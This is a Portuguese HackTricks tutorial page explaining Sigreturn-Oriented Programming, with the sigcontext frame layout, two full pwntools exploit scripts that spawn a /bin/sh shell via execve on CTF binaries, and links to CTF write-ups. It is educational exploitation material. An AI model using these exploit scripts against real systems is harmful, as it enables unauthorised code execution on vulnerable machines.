SROP - Sigreturn-Oriented Programming
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Sigreturn
é uma syscall especial que é usada principalmente para limpar após a execução de um manipulador de sinal. Sinais são interrupções enviadas a um programa pelo sistema operacional, frequentemente para indicar que uma situação excepcional ocorreu. Quando um programa recebe um sinal, ele pausa temporariamente seu trabalho atual para lidar com o sinal com um manipulador de sinal, uma função especial projetada para lidar com sinais.
Após o manipulador de sinal terminar, o programa precisa retomar seu estado anterior como se nada tivesse acontecido. É aqui que sigreturn
entra em cena. Ele ajuda o programa a retornar do manipulador de sinal e restaura o estado do programa limpando o quadro de pilha (a seção da memória que armazena chamadas de função e variáveis locais) que foi usado pelo manipulador de sinal.
A parte interessante é como sigreturn
restaura o estado do programa: ele faz isso armazenando todos os valores dos registradores da CPU na pilha. Quando o sinal não está mais bloqueado, sigreturn
remove esses valores da pilha, efetivamente redefinindo os registradores da CPU para seu estado antes que o sinal fosse tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
caution
Chamar a syscall sigreturn
de uma cadeia ROP e adicionando os valores dos registradores que gostaríamos que ele carregasse na pilha é possível controlar todos os valores dos registradores e, portanto, chamar por exemplo a syscall execve
com /bin/sh
.
Note como isso seria um tipo de Ret2syscall que torna muito mais fácil controlar parâmetros para chamar outras Ret2syscalls:
Se você está curioso, esta é a estrutura sigcontext armazenada na pilha para posteriormente recuperar os valores (diagrama de aqui):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
Para uma melhor explicação, confira também:
Exemplo
Você pode encontrar um exemplo aqui onde a chamada para signeturn é construída via ROP (colocando em rxa o valor 0xf
), embora este seja o exploit final a partir daí:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Verifique também o exploit daqui onde o binário já estava chamando sigreturn
e, portanto, não é necessário construir isso com um ROP:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
Outros Exemplos & Referências
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- Binário em Assembly que permite escrever na pilha e então chama a syscall
sigreturn
. É possível escrever na pilha um ret2syscall via uma estrutura sigreturn e ler a flag que está dentro da memória do binário. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- Binário em Assembly que permite escrever na pilha e então chama a syscall
sigreturn
. É possível escrever na pilha um ret2syscall via uma estrutura sigreturn (o binário tem a string/bin/sh
). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64 bits, sem relro, sem canário, nx, sem pie. Simples buffer overflow abusando da função
gets
com falta de gadgets que realiza um ret2syscall. A cadeia ROP escreve/bin/sh
na.bss
chamandogets
novamente, abusa da funçãoalarm
para definir eax como0xf
para chamar um SROP e executar um shell. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- Programa em Assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama
exit
. A syscall selecionada é umsigreturn
que irá definir registradores e movereip
para chamar uma instrução de syscall anterior e executarmemprotect
para definir o espaço binário comorwx
e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamaráread
para o ESP novamente, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode irá escrevê-lo como a próxima instrução e executá-lo. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP é usado para dar privilégios de execução (memprotect) ao local onde um shellcode foi colocado.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.